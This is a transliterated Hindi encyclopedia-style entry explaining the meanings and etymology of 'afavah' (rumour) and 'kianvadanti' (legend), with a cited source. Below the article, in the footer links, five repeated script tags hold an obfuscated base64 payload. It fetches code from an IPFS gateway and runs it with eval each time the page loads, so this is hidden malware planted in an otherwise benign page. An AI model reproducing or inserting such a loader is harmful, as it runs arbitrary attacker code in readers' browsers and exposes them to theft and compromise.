अफ़वाह और किंवदंती
afavah aur kianvadanti do alag-alag arthoan vale shabd haian. ‘afavah’ hiandi aur urdoo mean ekavachan hai, arabi mean bahuvachan. hiandi mean is ka arth hai ‘u dati khabar’, jab ki arabi mean is ka mool arth hai ‘bahut se muanh’. yah shabd ‘fooh’ ka bahuvachan hai. ‘phooh’ ka dhatugat arth hai ‘bolana’ aur shabdagat arth hai ‘muanh’ (arthath, ‘jis se bola jae’). ‘u dati khabar’ bahut se muanhoan ke madhyam se phailati hai, isilie ‘afavah’ shabd usi arth ka vachak ban gaya. hiandi mean is ke bahuvachan-rup ‘afavahean’ aur ‘afavahoan’ banate haian (kyoanki vahaan n to ‘fooh’ ka ata-pata hai aur n ‘afavah’ ke bhitar ki bahuvachanatmakata ka).
arth
‘u dati khabar’ yani ‘afavah’ sachchi bhi ho sakati hai aur jhoothi bhi, lekin kuchh log ‘afavah’ ka arth sidhe mithya samachar’ lagate haian. vastutah ‘khabar’ jab tak apramanik rahati hai, tab tak ‘afavah’ rahati hai, jab us ke sahi ya galat hone ki pushti ho jati hai, tab vah lupt ho kar kramashah ‘tathy’ ya ‘gapp’ ban jati hai. ‘shruti’ ka ek arth ‘khabar’ bhi hai, isalie sthool roop se ‘janashruti’ janata mean phaili huee khabar huee-sachchi ya jhoothi. isalie ise ‘afavah’ ka paryay kaha ja sakata hai. ‘janashruti’ ke saman ‘kianvadanti’ ka bhi sthool arth to ‘afavah’ hi hai, par sookshm arth mean vah bhi ‘janashruti’ hai, arthat, aisi bat, jise log paranpara se sunate chale ae hoan aur jis ke bare mean yah pata n chale ki vah vastutah kis ke dvara chalaee gee hogi.’ isilie isaka ek arth ‘lokokti’ tak bata diya jata hai.
‘kianvadanti’ ke arth se milate-julate any shabd ‘janarav’ aur ‘pravad’ milate haian. ‘kianvadanti mean prayukt ‘vadanti’ ka sanskrit mean arth ‘bhashan’ ya ‘pravachan’ hai aur ‘kianvadanti’ ke ‘kim,’ (kaun), ‘vad’ (bolana), aur ‘aant’ is shabd ka rahasy svayan khol rahe haian.[1]
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ manak hindi ke shuddh prayog bhag 1 (hiandi) bharatiy sahity sangrah. abhigaman tithi: 31 disambar, 2013.
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>